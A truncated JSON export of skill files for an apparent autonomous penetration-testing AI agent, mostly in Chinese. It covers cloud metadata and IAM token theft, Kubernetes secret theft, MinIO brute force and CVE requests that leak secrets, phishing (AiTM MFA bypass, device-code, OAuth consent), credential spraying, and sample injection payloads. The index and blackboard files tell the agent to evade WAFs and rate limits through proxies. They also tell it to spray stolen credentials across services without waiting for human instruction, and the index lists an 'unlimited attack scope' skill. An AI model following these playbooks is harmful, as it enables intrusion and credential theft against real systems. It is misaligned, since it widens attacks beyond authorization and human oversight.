找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列\"我以为不可能\"逐条问\"凭什么不可能\"\n> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。\n```\n\n","frontmatter":{"name":"capability-primitive-search","description":"能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":1620,"sizeBytes":4107},{"name":"SKILL.md","path":"skills/cloud-attack-methods/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cloud-attack-methods/SKILL.md","title":"cloud-attack-methods","category":"anthropic-skill","format":"markdown","content":"---\nname: cloud-attack-methods\ndescription: >-\n  云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 云攻击手法\n\n```\n=== 云 ===\n元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200\n对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin\n🚨云身份攻击(拿到key/token后的提权横向):\n  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥\n  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥\n  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向\n  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举\n🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS\n🚨MinIO攻击矩阵:\n  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)\n  Console爆破: POST http://IP:9001/api/v1/login body={\"accessKey\":\"minioadmin\",\"secretKey\":\"minioadmin\"} | 403=\"invalid Login\"\n  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置\n  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)\n  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)\n  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁\n  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)\n  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行\n🚨阿里云FC函数(fcapp.run)枚举:\n  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)\n  特征: POST返回\"unauthorized method 'POST'\"(405) = 只接受GET | 200+{\"code\":200,\"msg\":\"Forbidden\"} = 路径存在但缺参数\n  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)\n  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)\n  路径穿越: FC正确规范化(../无效),但可枚举不同function路径\n  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露\"denied by req auth\"\n  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)\n🚨橙子建站(ChengZi SDK)解密:\n  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)\n  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)\n  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护\n  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL\n```\n","frontmatter":{"name":"cloud-attack-methods","description":"云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":1423,"sizeBytes":3735},{"name":"SKILL.md","path":"skills/component-vuln-intel/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/component-vuln-intel/SKILL.md","title":"component-vuln-intel","category":"anthropic-skill","format":"markdown","content":"---\nname: component-vuln-intel\ndescription: >-\n  联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 联网情报收集（识别组件→立即全网搜；结果=线索/tentative，验证前不是 confirmed Fact）\n\n```\n🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。\n🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:\n\n1.CVE漏洞库(必做,找已知漏洞):\n  terminal: searchsploit {C} {V}\n  terminal: curl -s \"https://cve.circl.lu/api/search/{C}/{V}\" | python3 -c \"import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]\"\n  browser_navigate: https://github.com/advisories?query={C}+{V}\n  browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search\n\n2.搜索引擎(至少执行3个,找漏洞分析+PoC):\n  browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com\n  browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现\n  browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell\n  browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc\n  browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit\n\n3.中文安全社区(必做,中文首发多且深度分析好):\n  browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞\n  browser_navigate: https://www.seebug.org/search/?keywords={C}\n  browser_navigate: https://paper.seebug.org/search/?keyword={C}\n  browser_navigate: https://www.freebuf.com/search?search={C}+{V}\n  browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}\n  browser_navigate: https://www.anquanke.com/search?s={C}\n\n4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]\"\n  找到仓库后: curl -s \"https://api.github.com/repos/{owner}/{repo}/readme\" | python3 -c \"import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())\"\n\n5.资产引擎(找同类目标/暴露面):\n  browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app=\"{C}\"' | base64)\n  browser_navigate: https://www.shodan.io/search?query={C}+{V}\n  browser_navigate: https://www.zoomeye.org/searchResult?q={C}\n  browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}\n\n6.即时情报(最新0day/在野利用):\n  browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live\n  browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month\n  browser_navigate: https://www.exploit-db.com/search?q={C}\n\n7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6\n\n🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):\n  ①换UA: curl -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\" \"{URL}\"\n  ②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}\n  ③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}\n  ④Archive: browser_navigate: https://web.archive.org/web/{URL}\n  ⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令\n  ⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing\n  ⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试\n  全部受阻仍无结果→写负Fact\"已搜{C} {V}全渠道无公开漏洞\"→转 `zero-day-discovery`\n```\n\n","frontmatter":{"name":"component-vuln-intel","description":"联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":1611,"sizeBytes":4574},{"name":"FORMS.md","path":"skills/cyberstrike-eino-demo/FORMS.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/FORMS.md","title":"Cyberstrike-eino-demo Skill","category":"anthropic-skill","format":"markdown","content":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/FORMS.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/FORMS.md)","tokens":300,"sizeBytes":206},{"name":"REFERENCE.md","path":"skills/cyberstrike-eino-demo/REFERENCE.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/REFERENCE.md","title":"Cyberstrike-eino-demo Skill","category":"anthropic-skill","format":"markdown","content":"# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/REFERENCE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/REFERENCE.md)","tokens":300,"sizeBytes":214},{"name":"citations.md","path":"skills/cyberstrike-eino-demo/references/citations.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/references/citations.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `skills/cyberstrike-eino-demo/references/citations.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/references/citations.md)","tokens":300,"sizeBytes":225},{"name":"report-snippet.json","path":"skills/cyberstrike-eino-demo/scripts/report-snippet.json","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/scripts/report-snippet.json","title":"Scripts Skill","category":"anthropic-skill","format":"json","content":"# Scripts Skill\n\nPath: `skills/cyberstrike-eino-demo/scripts/report-snippet.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/scripts/report-snippet.json)","tokens":300,"sizeBytes":230},{"name":"SKILL.md","path":"skills/cyberstrike-eino-demo/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/SKILL.md","title":"cyberstrike-eino-demo","category":"anthropic-skill","format":"markdown","content":"---\nname: cyberstrike-eino-demo\ndescription: 满配示例技能包：SKILL.md + scripts/、references/、assets/ 等可选目录；验证 Eino skill 与 HTTP 包内路径（仅授权安全测试与教学）。\n---\n\n# CyberStrike × Eino 满配技能演示\n\n本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致：**`SKILL.md` 为清单 + 主说明**（无单独 `SKILL.yaml`）。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录（只要路径安全、未触达包深度/文件数上限），由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。\n\n## 概述\n\n用于一次性验证：\n\n- HTTP `GET /api/skills` 列表（`script_count`、`file_count`、`progressive` 等为推导/扫描结果）\n- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`\n- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id（例如 `## Payload 样例` 常对应 `section=payload`）\n- 多代理内 ADK **`skill`** 工具（及可选本机文件工具）读取包内相对路径资源\n- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索\n\n**硬性要求**：任何测试须取得书面授权，并限定在约定范围与时间窗口内。\n\n## 授权测试工作流\n\n1. **范围确认**：域名 / IP、接口列表、禁止动作（DoS、数据拖库等）。\n2. **基线记录**：对约定资产做只读探测，保存时间戳与原始请求/响应摘要。\n3. **分类测试**：按漏洞类型拆分任务；高风险操作前二次确认授权边界。\n4. **证据与报告**：每个发现附带复现步骤、影响、修复建议；敏感数据脱敏。\n5. **收尾**：删除临时账号、清理测试数据、移交报告。\n\n## Payload 样例\n\n以下为 **教学占位**，实际测试需替换为目标上下文且不得用于未授权系统：\n\n- SQLi 探测（错误型）：`\"'`（观察是否触发数据库错误信息泄露）\n- XSS 反射型（无害化）：`<script>alert(1)</script>` → 在靶场中应被编码或 CSP 拦截\n- 路径穿越（只读验证）：`....//....//etc/passwd`（仅在授权文件读取场景）\n\n详细列表见 `scripts/payloads.txt`。\n\n## references/ 与 assets/\n\n用于验证非 `scripts/` 的子目录是否被同等对待：\n\n| 路径 | 用途 |\n|------|------|\n| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |\n| `assets/README.txt` | 占位资源（可换成真实二进制做读文件上限测试） |\n\n## 推荐工具链\n\n| 阶段 | 工具示例 |\n|------|-----------|\n| 代理与重放 | Burp Suite、mitmproxy |\n| 扫描与目录 | ffuf、nuclei（需调低并发遵守授权） |\n| 漏洞验证 | 自写 PoC、官方 CLI（sqlmap 等）仅在授权范围内 |\n| 记录 | Markdown + JSON 片段模板（见 `scripts/report-snippet.json`） |\n\n## 清单与验证\n\n- [ ] 已保存书面授权与测试窗口\n- [ ] `scripts/` 下文件与正文引用一致\n- [ ] Web 或 `GET /api/skills?...` 可核对索引；多代理会话内用 **`skill`** 工具按包加载以节省 token\n- [ ] 需要细节时通过 **`skill`** 拉全文，或 HTTP `depth=full`、`section=<标题或短 id>`\n- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`\n- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取\n","frontmatter":{"name":"cyberstrike-eino-demo","description":"满配示例技能包：SKILL.md + scripts/、references/、assets/ 等可选目录；验证 Eino skill 与 HTTP 包内路径（仅授权安全测试与教学）。"},"isInternal":false,"tokens":1225,"sizeBytes":3461},{"name":"SKILL.md","path":"skills/initial-access-phishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/initial-access-phishing/SKILL.md","title":"initial-access-phishing","category":"anthropic-skill","format":"markdown","content":"---\nname: initial-access-phishing\ndescription: >-\n  初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 初始访问 / 钓鱼 / 社工\n\n```\n=== 初始访问/钓鱼/社工(外部进内部第一跳,打点前的打点) ===\n凭据喷洒: 弱密码(Season+Year!/公司名123)喷全体账号(每账号1-2次避锁定) | 来源:泄露库/OSINT邮箱格式(f.last@)/默认凭据\nAiTM钓鱼(绕MFA): evilginx3/Modlishka反代真站→中间人偷session cookie+token(绕MFA) | phishlet配域名+证书\n设备码钓鱼(Azure/M365): device code flow→诱导受害者输码→拿access/refresh token(无需密码/MFA) | TokenTactics/AADInternals\n钓鱼载荷: gophish发信+落地页 | 载荷 lnk/iso/宏/HTA/OneNote | 绕网关:密码zip/云盘链接/HTML走私\nOAuth同意钓鱼(illicit consent): 恶意App请求过度scope(Mail.Read/offline_access)→受害者同意→长期访问令牌\n社工前戏: OSINT组织架构/供应商/口令习惯(LinkedIn/招聘/GitHub) | pretext借口(IT支持/供应商/HR) | vishing(deepfake声音)\n→ 初始access落地即转 `redteam-opsec`(别一进门就被EDR抓), 拿到的能力进 `capability-primitive-search` 凑链\n```\n","frontmatter":{"name":"initial-access-phishing","description":"初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":532,"sizeBytes":1349},{"name":"SKILL.md","path":"skills/pentest-agent-os/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/pentest-agent-os/SKILL.md","title":"pentest-agent-os","category":"anthropic-skill","format":"markdown","content":"---\nname: pentest-agent-os\ndescription: >-\n  渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图\n  (upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法\n  (联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+\n  组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。\n  Use when starting a full-chain pentest engagement or needing the skill map for this suite.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, autonomous]\n---\n\n# 渗透测试Agent操作系统\n\n> **渗透不是执行脚本,是搜索路径。**\n> 不给自己预设固定路径/角色/已知利用链。给定起点与目标,\n> 路径未知 → 在状态空间里搜索:不断试不同路径、试错、反馈、逼近目标。\n> **跳出固有攻击链** = 不问\"它有没有已知CVE\",而问\"基于项目黑板上已掌握的事实,下一步最有效的动作是什么\"。\n> 状态落点见 `pentest-blackboard`（SQLite 项目事实，非磁盘 Intent/Hint 状态机）。\n\n## 套件映射（按作用分类）\n\n| 主题 | skill `name` | 作用 |\n|------|--------------|------|\n| 套件索引与核心心法 | `pentest-agent-os` | 套件索引与核心心法 |\n| 项目黑板 | `pentest-blackboard` | 项目 Fact 图 / 边记录 / 与漏洞分工 |\n| 验证铁律 | `pentest-verification` | 验证铁律（防幻觉） |\n| 能力原语 + 状态空间搜索 | `capability-primitive-search` | 能力原语凑链/状态空间搜索 |\n| 联网情报收集 | `component-vuln-intel` | 组件识别后联网搜洞 |\n| 侦察/攻击面测绘 | `attack-surface-recon` | 侦察与攻击面测绘 |\n| 初始访问/钓鱼/社工 | `initial-access-phishing` | 初始访问/钓鱼/社工 |\n| Web注入+认证+服务端+杂项+CDN | `web-attack-methods` | Web全栈攻击手法 |\n| 源码狩猎 | `source-code-hunting` | 源码/密钥/供应链狩猎 |\n| 后渗透/提权+凭据破解 | `post-exploitation` | 后渗透/提权/凭据/密码学 |\n| 内网域 | `active-directory-attack` | 内网域/AD攻击 |\n| APK/EXE/二进制 | `binary-mobile-reversing` | 移动端/二进制逆向 |\n| 云 | `cloud-attack-methods` | 云与对象存储攻击 |\n| 区块链/智能合约 | `blockchain-contract-attack` | 区块链/智能合约 |\n| AI/LLM应用 | `ai-llm-app-attack` | AI/LLM应用攻击 |\n| 无线/硬件 | `wireless-hardware-attack` | 无线与硬件攻击 |\n| 0day自主发现引擎 | `zero-day-discovery` | 0day/N-day自主发现 |\n| 自找代理+工具自举 | `proxy-tool-bootstrap` | 代理换路与工具自举 |\n| OPSEC/隐蔽作战 | `redteam-opsec` | OPSEC/隐蔽作战纪律 |\n| 输出规范 | `pentest-output-standards` | 报告/台账/输出规范 |\n| 专题实战+文件索引 | `specialized-attack-playbooks` | 专题实战利用手册 |\n| 不设限原则 | `unlimited-attack-scope` | 不设限原则 |\n\n### 使用方式\n1. 先加载 `pentest-agent-os`（本索引）理解套件结构。\n2. 按当前攻击面加载对应 skill（例：识别组件→`component-vuln-intel`；Web→`web-attack-methods`；全网无洞→`zero-day-discovery`）。\n3. 黑板/铁律/能力原语（`pentest-blackboard` / `pentest-verification` / `capability-primitive-search`）为全流程常驻规则。\n4. 按攻击面加载对应 skill；细节均在目标 skill 内完整保留。\n\n### 强制行为触发器速查（完整原文在 `pentest-blackboard`）\n- 触发1[识别→搜] → 执行 `component-vuln-intel` 全部命令；线索 tentative，验证后再 confirmed/漏洞\n- 触发2[拒绝→换路] → 执行 `proxy-tool-bootstrap` 换路序列；不通则写负结果 Fact\n- 触发3[新认知→横向] → 凭据/域名/IP 立即横向扩展并 `upsert_project_fact`\n\n","frontmatter":{"name":"pentest-agent-os","description":"渗透测试Agent操作系统。把渗透抽象成状态空间搜索:不预设固定路径,以项目黑板 Fact 图 (upsert_project_fact)+漏洞记录沉淀认知,路径从已验证事实上涌现。覆盖全杀伤链攻击手法 (联网情报/Web/认证/服务端/源码/社工/后渗透/二进制/内网域/云/区块链/AI/无线/硬件)+0day+ 组合拳+代理自举。核心:全网搜不到洞时现场推导独属于目标的攻击链。本文件为套件索引。 Use when starting a full-chain pentest engagement or needing the skill map for this suite.","metadata":{"tags":["渗透测试","penetration-testing","红队","autonomous"]}},"isInternal":false,"tokens":1482,"sizeBytes":3899},{"name":"SKILL.md","path":"skills/pentest-blackboard/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/pentest-blackboard/SKILL.md","title":"pentest-blackboard","category":"anthropic-skill","format":"markdown","content":"---\nname: pentest-blackboard\ndescription: >-\n  CyberStrikeAI 项目黑板：跨会话 Fact 图（SQLite）+ upsert_project_fact/record_vulnerability\n  边渗透边记录节奏、关系边 links、confidence、与多代理协调落库。Use when managing project\n  facts, blackboard index, writing evidence, or avoiding context-loss after compression.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队, 项目黑板]\n---\n\n# 项目黑板（与本产品对齐）\n\n> 状态落在**已绑定项目**的 SQLite 黑板，不依赖对话上下文，也不使用 `.pentest/` 目录。\n> 系统自动注入「项目黑板索引」（仅 `fact_key` + summary）；**摘要不足必须 `get_project_fact`，禁止凭摘要臆造细节。**\n\n## 原语与分工（产品模型）\n\n| 概念 | 产品落点 | 规则 |\n|------|----------|------|\n| **Fact** | `project_facts`（`upsert_project_fact`） | 同 `fact_key` **覆盖更新**；非正式漏洞条目。`confidence`: `confirmed` \\| `tentative` \\| `deprecated` |\n| **关系边** | `project_fact_edges`（upsert 的 `links`） | 结构化攻击图；finding/chain/exploit/poc **必须**带 links |\n| **可交付漏洞** | `record_vulnerability` | 与 Fact **可各记一次**：Fact=复现上下文，漏洞=正式 finding |\n| **探索方向** | 本轮计划 / 协调者委派 / plantask（若启用） | **不是**独立 Intent 表；待验证方向用 `confidence=tentative` 的 `note/` 或先不落库、验证后再写 |\n| **人类注入** | 用户消息 / HITL 审批 | 直接吸收进决策；不必写成 Hint 原语 |\n\n### Fact vs 漏洞\n\n- **环境/目标/认证等认知** → 只写 Fact（`target/` `auth/` `infra/` `business/`）\n- **发现与利用上下文** → Fact（`finding/` `chain/` `exploit/` `poc/`）+ body 填满攻击链\n- **可交付 findings** → `record_vulnerability`（标题、严重程度、类型、目标、POC、影响、修复）；记前可用 `list_vulnerabilities` 查重\n\n## 强制节奏：边渗透边记录\n\n勿等会话结束再批量写入。\n\n1. 每**确认**一条新认知（开放端口/服务版本、入口路径、认证态或凭据特征、可利用点或攻击面变化）→ **立即** `upsert_project_fact`（同 key 覆盖）。\n2. 每**验证**出一条可复现漏洞（含 POC/影响）→ **立即** `record_vulnerability`；与事实可各记一次。\n3. 继续下一步前优先落库，避免上下文压缩丢细节。\n4. **未绑项目**：说明无法写黑板，仍在本轮保留证据摘要。\n5. **协调者**：子任务返回新认知/漏洞时由协调者写入，勿假定子代理已记。\n6. **子代理无工具时**：交付物末尾给「待落库」条目（建议 `fact_key`、summary、body/POC 要点），供协调者立即写入。\n\n## 工具速查\n\n| 工具 | 用途 |\n|------|------|\n| `upsert_project_fact` | 写入/更新事实（含 body、confidence、links） |\n| `get_project_fact` | 按 key 取完整 body（索引不够时必调） |\n| `list_project_facts` / `search_project_facts` | 检索黑板 |\n| `deprecate_project_fact` / `restore_project_fact` | 误报废弃 / 恢复 |\n| `record_vulnerability` | 可交付漏洞 |\n| `list_vulnerabilities` / `get_vulnerability` | 查重与详情 |\n\n前置：**当前对话已绑定项目**（否则工具报错）。\n\n## 写入规范\n\n### fact_key / category\n\n- 格式：小写 `category/slug`（如 `target/primary_domain`、`finding/sqli-login`）\n- 环境：`target` \\| `auth` \\| `infra` \\| `business`\n- 发现利用：`finding` \\| `chain` \\| `exploit` \\| `poc`（另可用 `note`）\n- **同一发现保持同一 `fact_key` 覆盖**，勿拆成多个 key 导致上下文丢失\n\n### summary / body / confidence\n\n- **summary**（索引用一行）：须含「什么 + 在哪 + 如何触发/验证」，禁止只写「存在 SQLi」\n- **body**：完整可复现上下文（索引不含 body）。发现/利用类必含：入口 → 步骤 → 原始请求/响应或命令 → 现象 → 证据 → `related_vulnerability_id`（若有）\n- **confidence**：有证据钉死 → `confirmed`；仅线索/待验证 → `tentative`；误报 → `deprecate_project_fact`（或 `deprecated`）\n- 更新时若省略 body，保留库中已有 body（可只改 summary）\n\n### 关系边 links（写入 finding/chain/exploit/poc 时必填）\n\n- 推荐 `from`：来源 fact → 当前 `fact_key`\n- 最少：finding 至少 1 条 `{from: target/*, type: discovered_on}`；在 finding 上挂 exploit 用 `{from: exploit/*, type: exploits}`\n- 常用 type：`discovered_on` \\| `depends_on` \\| `leads_to` \\| `enables` \\| `exploits` \\| `contains` \\| `part_of` \\| `supports`\n- **省略 links** = 保留已有边；传入 links = **替换**全部入边\n\n## 工作方式（对齐本产品编排）\n\n不设 Bootstrap/Reason/Explore 磁盘状态机。按当前运行模式推进，但**读写黑板的纪律不变**：\n\n| 模式 | 黑板用法 |\n|------|----------|\n| 单代理 / deep | 边干边 `upsert_project_fact`；读索引不够则 `get_project_fact` |\n| plan_execute | 计划步骤产出认知后立即落库；重规划前 `list/search_project_facts` |\n| supervisor | 协调者汇总子代理「待落库」并写入；子代理无工具则结构化交付 |\n\n卡住时：换边/换起点/换攻击域；用 `search_project_facts` 重审已有 Fact，避免重复死路。负结果也要落库（见验证铁律 skill）。\n\n## 行为触发器（纪律）\n\n每步必检（不检=违反验证铁律）：\n\n1. **识别→搜**：识别任何组件/框架/版本/中间件 → 暂停利用 → 立即执行 `component-vuln-intel` 全部命令（browser_navigate+terminal curl，7 个步骤全做）→ 结果用 `tentative` Fact 或本轮计划跟踪 → 搜完才继续。不搜就说「无已知漏洞」=幻觉；**验证后**再 `confirmed` / `record_vulnerability`。\n2. **拒绝→换路**：收到 403/429/超时/RST/WAF 拦/CDN 502/限流/空响应 → 禁止同条件重试 → 立即换路序列：SOCKS5 代理→换 UA→加 XFF→换协议(WS/DNS)→换端口→编码变异（完整代理获取/验证见 `proxy-tool-bootstrap`）→ 全换仍不通才写负结果 Fact（`confirmed` + body 写清已测条件）换面。\n3. **新认知→横向**：拿到凭据/域名/IP/路径 → 立即横向喷：凭据全服务复用 / 新域名全端口扫 / IP 反查同站 → 不等人指示自动扩展攻击面，并 `upsert_project_fact`（如 `auth/cred-*`、`target/related-*`）。有凭据不喷=遗漏。\n\n违反判定：不搜就说「无已知漏洞」=幻觉；被拦不换路=放弃；有凭据不喷=遗漏 → 均违反验证铁律。\n\n## 证据 / 战利品 / 改动\n\n| 原「磁盘」概念 | 本产品做法 |\n|----------------|------------|\n| evidence/ | Fact `body` + `record_vulnerability` 的证明字段 + 工具执行记录；大文件放会话/项目 workspace |\n| loot/ | 凭据特征写入 `auth/` Fact（注意脱敏与授权范围）；完整秘密按项目策略处理 |\n| changelog.md | 写入型改动在回复中台账化，并可 `note/change-*` Fact 记录主机/类型/位置/回滚命令 |\n\n## 与验证铁律的衔接\n\n详见 `pentest-verification`：搜索≠漏洞；无证据不写 `confirmed`；禁止空泛「可能/疑似」当结论；验证失败写负结果 Fact。\n","frontmatter":{"name":"pentest-blackboard","description":"CyberStrikeAI 项目黑板：跨会话 Fact 图（SQLite）+ upsert_project_fact/record_vulnerability 边渗透边记录节奏、关系边 